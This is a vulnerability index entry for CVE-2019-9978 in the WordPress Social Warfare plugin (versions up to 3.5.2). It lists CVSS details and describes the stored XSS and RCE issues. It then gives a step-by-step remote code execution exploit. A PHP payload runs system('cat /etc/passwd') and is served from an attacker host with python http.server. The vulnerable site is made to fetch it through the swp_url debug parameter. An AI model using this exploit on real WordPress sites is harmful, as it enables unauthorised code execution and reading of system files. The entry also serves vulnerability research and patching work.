# CVE-2019-9978 - Social Warfare RCE

- **URL:** https://hackindex.io/vulnerabilities/CVE-2019-9978
- **CVE:** CVE-2019-9978
- **GHSA:** GHSA-gfx2-wv94-38hv
- **CVSS score:** 6.1
- **CVSS vector:** CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- **Type:** CWE-79
- **Authentication:** None
- **Complexity:** Low
- **Privileges:** None
- **Affected versions:** <= 3.5.2
- **Patched versions:** >= 3.5.3
- **Published:** 2026-02-25
- **Updated:** 2026-02-26

CVE-2019-9978 affects the **WordPress Social Warfare / Social Warfare Pro** plugin (fixed in **3.5.3**) and is best known for a **stored XSS** issue via the `swp_url` parameter on a debug/options endpoint that was **actively exploited in March 2019** (the CVE entry was published **March 24, 2019**). In real-world writeups and PoC tooling, the same vulnerable plugin versions (notably **3.5.0-3.5.2**) were also shown to be exploitable in ways that can escalate to **unauthenticated site compromise / remote code execution** depending on configuration and attack chain, allowing attackers to take control of the WordPress site.

#### Remote code execution

**[Exploit DB (52346)](https://www.exploit-db.com/exploits/52346)** - Social Warfare WordPress Plugin 3.5.2 - Remote Code Execution (RCE)

1. Create an exploit payload.txt like:

```php
<pre>system('cat /etc/passwd')</pre>
```

1. Serve your file with for example:

```bash
python3 -m 'http.server'
# Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
```

1. Visit http://$TARGET_IP/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://$LHOST:$LPORT/payload.txt